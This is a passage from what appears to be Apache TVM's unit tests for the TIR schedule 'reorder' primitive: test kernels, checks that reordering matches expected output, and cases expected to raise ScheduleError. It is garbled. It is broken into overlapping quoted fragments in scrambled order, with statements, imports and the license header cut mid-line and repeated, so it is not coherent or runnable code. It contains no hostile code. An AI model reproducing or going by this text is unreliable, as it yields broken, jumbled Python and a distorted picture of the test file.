"tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj,",
"sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b)",
"= sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i)",
"+ l < 100) B[vi, vj, vk, vl] = A[vi, vj, vk, vl]",
"elementwise_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128))",
"i, 128): with tir.block([128, 128, i, 128], \"B\") as [vi, vj, vk, vl]:",
"128)) for i, j, k in tir.grid(128, 128, 128): with tir.block([128, 128, tir.scan_axis(0,",
"* 16 + vj, 1) with tir.block([16, 16], \"B\") as [vi, vj]: tir.reads([])",
"j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b",
"tir.serial(0, 128): with tir.block([128, 128, 128], \"C\") as [vi, vj, vk]: tir.bind(vi, i)",
"vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 +",
"tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.where(i * 2097152",
"sys import pytest import tvm from tvm import tir from tvm.script import ty",
"tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16",
"vi * 16 + vj, dtype=\"handle\")) @tvm.script.tir def opaque_access_reorder(a: ty.handle, b: ty.handle) ->",
"= tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with",
"mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k,",
"tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16, 16],",
"as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) B[vi, vj, vk]",
"tvm.script import ty from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a:",
"i) tir.bind(vj, j) tir.bind(vk, k) C[vi, vj, vk] = A[vi, vj, vk] *",
"elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) B",
"sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) sch = tir.Schedule(elementwise_non_single_branch,",
"= A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle) ->",
"2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"\"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi, vj,",
"vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def opaque_access(a: ty.handle,",
"tir from tvm.script import ty from tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir",
"j) for k in tir.serial(0, 128): with tir.block([128], \"B\") as [vk]: tir.bind(vk, k)",
"Unless required by applicable law or agreed to in writing, # software distributed",
"ty.handle) -> None: A = tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16,",
"B[vi, vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle,",
"B = tir.match_buffer(b, (128, 128, 128)) for i, j, k in tir.grid(128, 128,",
"tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 + vj,",
"i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k",
"distributed with this work for additional information # regarding copyright ownership. The ASF",
"k, l in tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128], \"B\")",
"C[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_loops_not_same_scope(a: ty.handle, b: ty.handle) -> None:",
"128)) for l, j, k, i in tir.grid(128, 128, 128, 128): with tir.block([128,",
"= tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i,",
"128)) for i in tir.serial(0, 128): for j, k, l in tir.grid(128, i,",
"sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with",
"l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch =",
"vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b: ty.handle) -> None:",
"[vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16",
"regarding copyright ownership. The ASF licenses this file # to you under the",
"128, 8): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]:",
"\"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) for k in tir.serial(0, 128):",
"in tir.serial(0, 128): with tir.block([128, 128, 128], \"B\") as [vi, vj, vk]: tir.bind(vi,",
"= tir.match_buffer(b, (128, 128, 128, 128)) for i, j, k, l in tir.grid(128,",
"128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128,",
"# KIND, either express or implied. See the License for the # specific",
"vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b:",
"tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir",
"2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"this work for additional information # regarding copyright ownership. The ASF licenses this",
"vk]]) B[vi, vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_reordered(a:",
"ANY # KIND, either express or implied. See the License for the #",
"128], \"B\") as [vi, vj, vk, vl]: tir.where(i * 2097152 + j *",
"k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch =",
"128, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj, vk, vl] =",
"contributor license agreements. See the NOTICE file # distributed with this work for",
"= tir.match_buffer(b, [16, 16], \"float32\") with tir.block([16, 16], \"A\") as [vi, vj]: tir.reads([])",
"verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j,",
"copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by",
"vl]: tir.where(i * 2097152 + j * 16384 + k * 128 +",
"tvm from tvm import tir from tvm.script import ty from tvm.tir.schedule.testing import verify_trace_roundtrip",
"128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for k, j,",
"test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\") i, j",
"specific language governing permissions and limitations # under the License. # pylint: disable=missing-function-docstring,missing-module-docstring",
"with tir.block([16, 16], \"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16,",
"vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l * 16)",
"with tir.block([128, 128, i, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj,",
"def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\") i,",
"\"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi",
"elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128, 128))",
"A = tir.match_buffer(a, (128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128,",
"See the License for the # specific language governing permissions and limitations #",
"tir.block([16, 16], \"B\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]])",
"i) def test_reorder_fail_with_wrong_block_var_type(): sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k",
"tir.grid(128, 128, 128, 128): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj,",
"IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or",
"\"B\") as [vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl,",
"2.0 (the # \"License\"); you may not use this file except in compliance",
"2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"= tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with",
"for l, j, k, i in tir.grid(128, 128, 128, 128): with tir.block([128, 128,",
"tir.reads([A[vi, vj, vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] = A[vi, vj, vk]",
"tvm.tir.schedule.testing import verify_trace_roundtrip # pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b: ty.handle) ->",
"2.0 for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"B\") as [vi,",
"elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) B",
"with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.bind(vi, i)",
"= sch.get_block(\"B\") i, j = sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def",
"with tir.block([128, 128, tir.scan_axis(0, 128)], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj,",
"None: A = tir.match_buffer(a, [16, 16], \"float32\") B = tir.match_buffer(b, [16, 16], \"float32\")",
"= sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\") i, j",
"KIND, either express or implied. See the License for the # specific language",
"test_reorder(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l =",
"tir.block([128, 128], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j) for k in",
"tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 + vj, dtype=\"handle\")) # pylint:",
"tir.match_buffer(b, (128, 128, 128, 128)) for k, j, i, l in tir.grid(128, 128,",
"obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless",
"128): with tir.block([128, 128, 128], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj,",
"B = tir.match_buffer(b, (128, 128, 128, 128)) for k, j, i, l in",
"tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) C[vi, vj, vk] = A[vi, vj, vk]",
"sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise)",
"16, 16, 16, 0, vi * 16 + vj, dtype=\"handle\")) # pylint: enable=no-member,invalid-name,unused-variable",
"(128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for i, j in",
"j, k, l = sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def",
"vj, vk, vl]: B[vi, vj, vk, vl] = A[vi, vj, vk, vl] *",
"block_c = sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c)",
"for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"C\") as [vi, vj,",
"128, 128, 128): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk,",
"i, j, k1 = sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1,",
"j, k, l in tir.grid(128, 128, 128, 8): with tir.block([128, 128, 128, 128],",
"compliance # with the License. You may obtain a copy of the License",
"tir.match_buffer(b, (128, 128, 128, 128)) with tir.block([128, 128, 128, 128], \"B\") as [vi,",
"2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128,",
"sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j, i)",
"= tir.match_buffer(b, (128, 128, 128, 128)) for i in tir.serial(0, 128): for j,",
"# pylint: disable=no-member,invalid-name,unused-variable @tvm.script.tir def elementwise(a: ty.handle, b: ty.handle) -> None: A =",
"tir.bind(vk, k) tir.bind(vl, l * 16) B[vi, vj, vk, vl] = A[vi, vj,",
"i, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj, vk, vl] =",
"= A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle)",
"for i, j in tir.grid(128, 128): with tir.block([128, 128], \"A\") as [vi, vj]:",
"B[vi, vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle,",
"= tir.match_buffer(b, (128, 128, 128)) for i, j, k in tir.grid(128, 128, 128):",
"@tvm.script.tir def elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128,",
"WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See",
"with the License. You may obtain a copy of the License at #",
"ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) B = tir.match_buffer(b, (128,",
"information # regarding copyright ownership. The ASF licenses this file # to you",
"vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle) -> None:",
"tir.bind(vl, l * 16) B[vi, vj, vk, vl] = A[vi, vj, vk, vl]",
"vj, vk]]) B[vi, vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def",
"128)], \"B\") as [vi, vj, vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.reads([A[vi,",
"= sch.get_block(\"C\") i, j, k1 = sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c) with",
"in tir.grid(16, 16): with tir.block([16, 16], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj,",
"tir.match_buffer(b, (128, 128, 128, 128)) for l, j, k, i in tir.grid(128, 128,",
"may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # #",
"j) tir.bind(vk, k) C[vi, vj, vk] = A[vi, vj, vk] * 2.0 for",
"one # or more contributor license agreements. See the NOTICE file # distributed",
"16) B[vi, vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir",
"vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a:",
"* 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a,",
"vj, vk] = A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b:",
"except in compliance # with the License. You may obtain a copy of",
"0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 + vj, dtype=\"handle\")) #",
"\"float32\") for j, i in tir.grid(16, 16): with tir.block([16, 16], \"A\") as [vi,",
"vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None:",
"http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing,",
"you may not use this file except in compliance # with the License.",
"vj, vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None: A",
"128, 128, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj, vk, vl]",
"\"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj,",
"block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def",
"sch = tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b)",
"i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk, vl] = A[vi,",
"A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle) -> None:",
"100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk, vl]",
"l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a =",
"128)) for i, j in tir.grid(128, 128): for k in tir.serial(0, 128): with",
"debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered_with_predicate,",
"k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope,",
"tir.block([128, 128, i, 128], \"B\") as [vi, vj, vk, vl]: B[vi, vj, vk,",
"A[vi, vj, vk] * 2.0 for k in tir.serial(0, 128): with tir.block([128, 128,",
"an # \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND,",
"None: A = tir.match_buffer(a, (128, 128, 128)) C = tir.alloc_buffer((128, 128, 128)) B",
"A[vi, vj, vk] * 2.0 @tvm.script.tir def elementwise_with_wrong_block_var_type(a: ty.handle, b: ty.handle) -> None:",
"block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j, i) block_b = sch.get_block(\"B\") i,",
"vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a: ty.handle, b: ty.handle) -> None: A =",
"= tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128, 128): with tir.block([128,",
"tir.match_buffer(b, (128, 128, 128)) for i, j in tir.grid(128, 128): for k in",
"(128, 128, 128, 128)) with tir.block([128, 128, 128, 128], \"B\") as [vi, vj,",
"tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj,",
"(128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i",
"vj, vk] = A[vi, vj, vk] * 2.0 for k in tir.serial(0, 128):",
"j) tir.bind(vk, k) tir.bind(vl, l) B[vi, vj, vk, vl] = A[vi, vj, vk,",
"l in tir.grid(128, 128, 128, 8): with tir.block([128, 128, 128, 128], \"B\") as",
"sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_c = sch.get_block(\"C\") i, j, k1",
"vk] * 2.0 @tvm.script.tir def elementwise_reordered(a: ty.handle, b: ty.handle) -> None: A =",
"tir.bind(vj, j) tir.bind(vk, k) C[vi, vj, vk] = A[vi, vj, vk] * 2.0",
"(128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i,",
"0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16, 0, vi * 16 + vj, dtype=\"handle\")) @tvm.script.tir",
"_, _, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch",
"language governing permissions and limitations # under the License. # pylint: disable=missing-function-docstring,missing-module-docstring import",
"j, i in tir.grid(16, 16): with tir.block([16, 16], \"A\") as [vi, vj]: tir.bind(vi,",
"128): with tir.block([128, 128, 128, 128], \"B\") as [vi, vj, vk, vl]: tir.bind(vi,",
"[vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) with",
"vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def opaque_access(a: ty.handle, b:",
"this file # to you under the Apache License, Version 2.0 (the #",
"= A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_predicate(a: ty.handle, b: ty.handle)",
"# # Unless required by applicable law or agreed to in writing, #",
"128): for j, k, l in tir.grid(128, i, 128): with tir.block([128, 128, i,",
"vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered2(a: ty.handle, b:",
"tir.bind(vj, j) tir.bind(vk, k) B[vi, vj, vk] = C[vi, vj, vk] * 2.0",
"tir.block([16, 16], \"A\") as [vi, vj]: tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16",
"tir.match_buffer(b, [16, 16], \"float32\") for j, i in tir.grid(16, 16): with tir.block([16, 16],",
"elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128)) C",
"16], \"float32\") for j, i in tir.grid(16, 16): with tir.block([16, 16], \"A\") as",
"test_reorder_with_opaque_access(): sch = tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j,",
"test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l =",
"vj, vk, vl] = A[vi, vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_not_affine(a:",
"= tir.Schedule(elementwise_predicate, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(l,",
"vk]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) C[vi, vj, vk] = A[vi, vj,",
"= sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\")",
"(128, 128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) with tir.block([128,",
"sch.get_loops(block_b) sch.reorder(j, i) tvm.ir.assert_structural_equal(opaque_access_reorder, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=opaque_access) def test_reorder_with_predicate(): sch = tir.Schedule(elementwise_predicate, debug_mask=\"all\")",
"Version 2.0 (the # \"License\"); you may not use this file except in",
"for the # specific language governing permissions and limitations # under the License.",
"[vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl, l *",
"def elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128))",
"block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i,",
"pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
"i, k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a =",
"def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l",
"tir.Schedule(elementwise_not_affine, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) with pytest.raises(tvm.tir.ScheduleError):",
"1) with tir.block([16, 16], \"B\") as [vi, vj]: tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16,",
"vk]]) tir.writes([B[vi, vj, vk]]) B[vi, vj, vk] = A[vi, vj, vk] * 2.0",
"for k in tir.serial(0, 128): with tir.block([128, 128, 128], \"B\") as [vi, vj,",
"test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b)",
"sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise_predicate) def test_reorder_fail_with_multi_appearance_loops(): sch = tir.Schedule(elementwise, debug_mask=\"all\") block_b = sch.get_block(\"B\") i,",
"* 128 + l < 100) tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) tir.bind(vl,",
"128)) C = tir.alloc_buffer((128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128)) for",
"j, k1 = sch.get_loops(block_b) _, _, k2 = sch.get_loops(block_c) with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k1, i,",
"sch.get_block(\"B\") i, j, k, l = sch.get_loops(block_b) sch.reorder(k, i, l) tvm.ir.assert_structural_equal(elementwise_reordered2, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch,",
"128], \"B\") as [vi, vj, vk, vl]: tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k)",
"in tir.serial(0, 128): for j, k, l in tir.grid(128, i, 128): with tir.block([128,",
"vj, vk] * 2.0 for k in tir.serial(0, 128): with tir.block([128, 128, 128],",
"OF ANY # KIND, either express or implied. See the License for the",
"BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied.",
"j) tir.reads([]) tir.writes([A[0:16, 0:16]]) tir.store(A.data, vi * 16 + vj, 1) for j,",
"tir.grid(128, 128): with tir.block([128, 128], \"A\") as [vi, vj]: tir.bind(vi, i) tir.bind(vj, j)",
"k2) def test_reorder_fail_with_loops_not_under_same_scope(): sch = tir.Schedule(elementwise_with_loops_not_same_scope, debug_mask=\"all\") block_b = sch.get_block(\"B\") block_a = sch.get_block(\"A\")",
"sch.get_block(\"A\") i, j = sch.get_loops(block_a) k = sch.get_loops(block_b)[0] with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def",
"128, 128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) for i in",
"= sch.get_loops(block_b) sch.reorder(l, i) tvm.ir.assert_structural_equal(elementwise_reordered, sch.mod[\"main\"]) verify_trace_roundtrip(sch=sch, mod=elementwise) def test_reorder2(): sch = tir.Schedule(elementwise,",
"tir.store(A.data, vi * 16 + vj, 1) with tir.block([16, 16], \"B\") as [vi,",
"as [vi, vj, vk, vl]: tir.where(i * 2097152 + j * 16384 +",
"sch = tir.Schedule(elementwise_with_wrong_block_var_type, debug_mask=\"all\") block_b = sch.get_block(\"B\") i, j, k = sch.get_loops(block_b) with",
"tir.bind(vi, i) tir.bind(vj, j) tir.bind(vk, k) B[vi, vj, vk] = C[vi, vj, vk]",
"# pylint: disable=missing-function-docstring,missing-module-docstring import sys import pytest import tvm from tvm import tir",
"vj, vk, vl] * 2.0 @tvm.script.tir def elementwise_reordered_with_predicate(a: ty.handle, b: ty.handle) -> None:",
"with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i, i) def test_reorder_fail_with_non_single_branch_loop(): sch = tir.Schedule(elementwise_non_single_branch, debug_mask=\"all\") block_b =",
"[vi, vj]: tir.bind(vi, i) tir.bind(vj, j) tir.reads([]) tir.writes([B[0:16, 0:16]]) tir.evaluate(tir.tvm_fill_fragment(B.data, 16, 16, 16,",
"# specific language governing permissions and limitations # under the License. # pylint:",
"def elementwise_dependent_loop(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128,",
"128, 128, 128)) for i, j, k, l in tir.grid(128, 128, 128, 128):",
"vk, vl] * 2.0 @tvm.script.tir def elementwise_non_single_branch(a: ty.handle, b: ty.handle) -> None: A",
"= tir.Schedule(opaque_access, debug_mask=\"all\") block_a = sch.get_block(\"A\") i, j = sch.get_loops(block_a) sch.reorder(j, i) block_b",
"def elementwise_predicate(a: ty.handle, b: ty.handle) -> None: A = tir.match_buffer(a, (128, 128, 128,",
"128, 128)) B = tir.match_buffer(b, (128, 128, 128, 128)) with tir.block([128, 128, 128,",
"-> None: A = tir.match_buffer(a, (128, 128, 128)) C = tir.alloc_buffer((128, 128, 128))",
"with pytest.raises(tvm.tir.ScheduleError): sch.reorder(k, i) def test_reorder_fail_with_dependent_loops(): sch = tir.Schedule(elementwise_dependent_loop, debug_mask=\"all\") block_b = sch.get_block(\"B\")",
